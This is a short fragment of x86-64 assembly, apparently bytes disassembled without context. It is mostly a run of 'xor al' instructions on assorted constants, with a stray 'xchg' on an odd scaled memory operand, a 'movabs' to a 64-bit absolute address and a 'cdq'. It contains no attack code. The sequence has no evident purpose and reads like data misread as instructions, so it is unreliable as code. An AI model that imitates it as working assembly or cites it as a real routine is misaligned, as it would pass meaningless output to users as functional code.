xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62